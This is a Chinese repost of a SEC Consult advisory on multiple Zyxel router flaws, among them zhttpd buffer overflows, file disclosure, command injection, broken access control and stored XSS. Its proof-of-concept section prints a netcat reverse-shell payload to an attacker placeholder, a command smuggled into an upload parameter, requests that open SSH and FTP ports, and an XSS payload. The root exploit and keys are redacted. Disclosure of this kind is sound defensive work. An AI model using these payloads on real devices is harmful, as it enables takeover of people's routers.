点击上方蓝字“Ots安全”一起玩耍
由于不安全的编码实践和不安全的配置,多个 Zyxel 设备容易出现不同的严重漏洞。最严重的漏洞之一是 Zyxel 开发的“zhttpd”网络服务器中未经身份验证的缓冲区溢出。通过绕过 ASLR,缓冲区溢出可以变成未经身份验证的远程代码执行。此外,固件中还发现了未经身份验证的文件泄露、经过身份验证的命令注入和处理 FTP 守护程序中的符号链接等漏洞。
供应商描述
“专注于创新和以客户为中心,Zyxel Communications Corp. 近 30 年来一直致力于将人们连接到互联网。我们不断推动满足客户需求的创造力。自从我们开发出世界上第一个集成 3 1992 年推出的-in-1 数据/传真/语音调制解调器。我们适应和创新网络技术的能力使我们处于了解电信/服务提供商、企业和家庭用户连接性的最前沿。
我们正在构建明天的网络,帮助释放世界的潜力并满足现代工作场所的需求;在工作、生活和娱乐中为人们提供动力。我们与我们的客户和合作伙伴并肩站在一起,分享新的网络方法,以释放他们的能力。忠诚的朋友、强大的盟友、可靠的资源——我们是 Zyxel,您的网络盟友。”
资料来源:www.zyxel.com/about_zyxel/company_overview.shtml
业务推荐
SEC Consult 建议 Zyxel 客户将固件升级到可用的最新版本。
Zyxel Communications 和 SEC Consult 之间的合作将通过加速和优化应对本公告中描述的威胁和漏洞的能力,进一步加强 Zyxel 的网络安全战略。
sec-consult.com/blog/detail/zyxel-communications-and-sec-consult-reach-next-level-of-cybersecurity/
漏洞概述/描述
1) zhttpd 和 libclinkc.so 中的多个未经验证的缓冲区溢出
在 zhttpd Web 服务器中发现了多个未经身份验证的缓冲区溢出。一个缓冲区溢出非常容易触发,因为它发生在 URI 输入中。如果输入过长,Web 服务器会崩溃,因为返回地址被输入值覆盖,因为使用了没有长度检查的函数 scanf()。在以下功能中可以找到多个其他缓冲区溢出:
-
libclinkc.so 中的 URI 解析,如果 '?' 被包含。
-
Export_Log 功能。
攻击者可以通过使用归零保护技术接管设备,因为使用的 Linux 内核中的 ASLR 在系统范围内被激活,并且为 Web 服务器二进制设置了 NX 位。未设置其他保护机制,如 PIE、堆栈金丝雀和只读重定位。由于 ASLR,libc 的地址会发生偏移,因此必须强制执行。这可能需要长达一小时。但是,平均而言,攻击者将在 30 分钟内获得 root shell。
2) zhttpd 中未经身份验证的本地文件泄露
zhttpd 中的端点可用于公开系统文件,包括“/etc/passwd”和“/etc/shadow”。无需事先登录即可访问此端点。攻击者可以使用此端点读取系统上的所有文件。
3) 敏感数据的不安全存储
设备配置包含以可逆形式存储的密码。不是以适当的加密哈希格式存储密码,而是使用静态密钥通过对称密码 (AES) 对密码进行加密。有权访问设备配置的攻击者(例如通过利用漏洞#2)可以解密密码并将其用于进一步的攻击。
4) 认证命令注入
在设备中发现了两个命令注入。一个在 ping 诊断工具中被识别,另一个在证书上传中被识别。两者都导致了一个完全受损的系统,因为 Web 服务是使用 root 权限启动的。怀疑设备的Web界面中存在更多命令注入。
5)损坏的访问控制
识别出各种访问控制漏洞,其中较低权限的用户可以访问较高权限角色的功能。仅当使用具有完全访问权限的用户帐户时,某些功能才在 GUI 中可见。但是,它作为具有管理员角色的标准“管理员”用户不可见。它可以被利用,例如,为系统服务(如 SSH 和 FTP)打开端口,也可以访问其他仅供具有完全访问权限的用户使用的功能。
6) ftpd中符号链接的处理
设备上的 FTP 服务器处理外部存储介质上的符号链接,例如格式化为 NTFS。通过创建指向根目录的符号链接,这可以被滥用以获取对根文件系统的读取访问权限。
7) CSRF 实施不充分
Web 界面提供 CSRF 令牌,这些令牌实现为 9 位数字,并作为“会话密钥”参数传输。CSRF 代币依靠不可预测性来实现其功能。但是,设备上存在一个 API 端点,可以以未经身份验证的方式在内部网络上生成和检索新的有效 CSRF 令牌值。
8) 存储的跨站脚本
在设备 Web 界面的打印服务器菜单的打印机名称字段中发现了一个存储的跨站点脚本漏洞。但是,可能的有效负载限制为 32 个字符和某些标签。
概念证明
1) zhttpd 和 libclinkc.so 中的多个未经验证的缓冲区溢出
zhttpd中的URI解析伪代码
char path [256];
[...]
__s = (char *)cg_http_request_geturi(param_1);
pcVar2 = strstr(__s,"Export_Log");
if (pcVar2 != (char *)0x0) {
__isoc99_sscanf(__s,"%*[^?]?%s",path);
return;
}
此代码将复制“?”后面的所有内容 从 URI 到 256 字节的缓冲区。由于 URI 通常允许包含 2048 个字符,因此“路径”缓冲区可能会溢出。
将获得根 shell 的概念证明漏洞利用:
< the remote root exploit has been removed from this advisory and will be
published at a later date >
URI 处理伪代码,当 '?' 存在于从 zhttpd 调用的 libclinkc.so 中:
char acStack144 [128];
pcVar2 = strchr(uri_ptr,'?');
if (pcVar2 != (char *)0x0) {
memset(acStack144,0,0x80);
strncpy(acStack144,uri_ptr,(size_t)(pcVar2 + -(int)uri_ptr));
即使使用 strncpy,此缓冲区也可能溢出,因为复制长度参数“n”是用户控制的。攻击者需要请求一个超过 128 个字符的 URL,然后附加一个“?”。
2) zhttpd 中未经身份验证的本地文件泄露
端点“Export_Log”可用于获取任意文件,如以下访问配置文件“/data/zcfg_config.json”的请求所示:
< POC removed from this advisory >
无需事先身份验证即可访问此端点!
文件“/data/zcfg_config.json”将包含路由器的运行配置,包括所有密码,例如 SIP 凭据!
3) 敏感数据的不安全存储
Zyxel 有一种专有的密码格式,由前缀“_encrypt_”表示。这是由二进制“/bin/zcmd”中的函数 encryptPassword 实现的。名为“Privilege”、“Password”、“DefaultPassword”和“OldDefaultPassword”的配置字段中的值被传递给使用 OpenSSL 函数 EVP_BytesToKey 从静态数据派生 AES 密钥的函数。以下代码片段是密钥派生算法的重新实现。密钥已从该公告中删除。
unsigned char salt[] = { 0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX,0xXX };
int encrypt_key_length;
char encryptKey[]= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
encrypt_key_length = strlen(encryptKey);
unsigned char key[EVP_MAX_KEY_LENGTH], iv[EVP_MAX_IV_LENGTH];
int datal = encrypt_key_length;
EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), (const unsigned char*)salt,
(const unsigned char*)encryptKey, datal,5,key,iv);
for (int i = 0;i <= EVP_MAX_KEY_LENGTH;i++) {
printf("%02X", key[i]);
}
printf("n");
for (int i = 0;i <= EVP_MAX_IV_LENGTH;i++) {
printf("%02X", iv[i]);
}
密钥派生的输入是静态的,因此生成的密钥和 IV 也是。根据这些信息,开发了以下 Python 片段来解密密码条目(密钥已从该公告中删除):
def decrypt_zyxel_encrypt(input):
key=bytearray.fromhex(
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
iv=bytearray.fromhex('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
input=input.replace('_encrypt_','')
decoded = b64decode(input)
aes = AES.new(key, AES.MODE_CBC,iv)
decrypted=aes.decrypt(decoded)
print(repr(decrypted))
可以使用以下命令解密密码:
>> decrypt_zyxel_encrypt('_encrypt_xxxxxxxxxxxxxxxxx==')
之前在 Zyxel VMG8825-T50 的安全研究中讨论过相同的密码算法:
th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/
4) 认证命令注入
易受命令注入攻击的输入可在 MENU->Maintenance->Diagnostic 的菜单中找到。现在可以在 IP 地址字段中使用以下负载来创建反向 shell:
127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc Attacker-IP Attacker-Port >/tmp/f &
第二种确定的命令注入可能性是证书上传。对于普通用户,端点在 UI 中是不可见的,但是由于访问控制被破坏,参见 6),每个用户都可以与其交互。
POST /cgi-bin/Certificates?action=import_local&priv=;touch${IFS}foo&sessionkey=409106100 HTTP/1.1
Host: <IP>
Connection: close
Content-Length: 1498
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarywlxAsQZ1maK9V9E9
Accept: */*
Origin: https: //<IP>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https: //<IP>/Certificates
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Session=uUgQobZKw5cUzesePtCAGhyxH3SOCE8W
------WebKitFormBoundarywlxAsQZ1maK9V9E9
Content-Disposition: form-data; name="certImportFileName";
filename="ZyXELcert.crt"
Content-Type: application/pkix-cert
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
------WebKitFormBoundarywlxAsQZ1maK9V9E9—
5)损坏的访问控制
作为第一个示例,可以通过向以下 API 端点发送请求来查看可用的用户帐户及其权限:
https://<IP>/cgi-bin/DAL?oid=login_privilege
响应显示用户名在 GUI 中不可见,此处例如,“root”用户。
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 2906
Date: Thu, 01 Jan 1970 22:59:49 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "Page",
"ReplyMsgMultiLang": "",
"Object": [
{
"Index0": 1,
"Index1": 1,
"Enabled": true,
"Username": "root",
"Password": "",
"EnableQuickStart": true,
"Privilege": "login"
},
[...]
作为第二个示例,可以通过向以下 API 端点发送请求来查看系统服务的状态:
https://<IP>/cgi-bin/DAL?oid=mgmt_srv
响应显示各种系统服务,例如,仅对受信任域(“Trust_Dm”)开放的 SSH 服务。
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 1271
Date: Thu, 01 Jan 1970 02:18:28 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "RestartDeamon",
"ReplyMsgMultiLang": "",
"Object": [
[...]
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "Trust_Dm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,"
},
[...]
随后,也可以打开服务。下面给出了打开 FTP、SSH 和 SNMP 端口的示例请求。请求必须在“admin”用户的上下文中发送,并且必须包含有效的“sessionkey”值。
PUT /cgi-bin/DAL?oid=mgmt_srv&sessionkey=575595380 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 2097
Origin: https: //<IP>
Connection: close
Referer: https: //<IP>/RemoteManagement
Cookie: Session=6snfyaikMK5FmMcerni8cJEnzl4IgaFc
[
{
"Index": 1,
"Name": "HTTP",
"Port": 80,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 2,
"Name": "HTTPS",
"Port": 443,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 3,
"Name": "FTP",
"Port": 21,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 4,
"Name": "TELNET",
"Port": 23,
"Mode": "",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 6,
"Name": "SNMP",
"Port": 161,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 7,
"Name": "PING",
"Port": -1,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false,
"origport": 443,
"otherorigport": 80,
"httpport": 80,
"httpsport": 443
}
]
响应将指示成功,系统将重新启动。对之前用于查询服务状态的 API 端点的另一个请求将列出更改后的 SSH 模式,现在显示为“LAN_TstDm”。
6) ftpd中符号链接的处理
要利用此漏洞,需要准备好 USB 记忆棒,格式化为 NTFS 并包含指向根文件系统的链接(通过执行“ln -s / sysroot”创建)。
将 U 盘放入设备的 USB 端口后,它会自动挂载到 admin 用户的主目录。利用 6) 中描述的访问控制漏洞,可以打开 FTP 端口以允许通过内部网络进行 FTP 访问。
使用“admin”凭据连接到 FTP 服务后,可以访问挂载的 U 盘,“sysroot”符号链接将显示根文件系统的内容。
7) CSRF 实施不充分
以下 API 端点无需身份验证即可用于检索新的 CSRF 令牌:
https://<IP>/changeSessionKey
响应包含对所有用户帐户有效的新会话密钥。当前的将失效。
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
Date: Thu, 01 Jan 1970 12:29:50 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
[
{
"SessionKey": 583723980
}
]
8) 存储的跨站脚本
通过浏览到“菜单->网络设置->USB服务->打印服务器”,“用户定义的打印机名称”字段可用于放置存储的跨站点脚本有效负载。以下代码用作概念验证:
P<img src=x onerror=alert('XSS')>
在 PUT 请求中,此操作类似于代理中的以下列表:
PUT /cgi-bin/DAL?oid=print_server&sessionkey=578218320 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 106
Origin: <IP>
Connection: close
Cookie: activeMenuID=maintain_settings; activeSubmenuID=log;
Session=Fg2kSHIfZW5mhySEY4vJfrElXE4TSLEl
{
"Enable":false,
"IppMake":"PRINTER",
"IppDevice":"/dev/printer0",
"IppName":"P<img src=x onerror=alert('XSS')>"
}
打印机名称将被存储并显示在同一页面上,执行有效负载。
原文始发于微信公众号(Ots安全):Zyxel 多款设备中的多个严重漏洞(漏洞验证)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论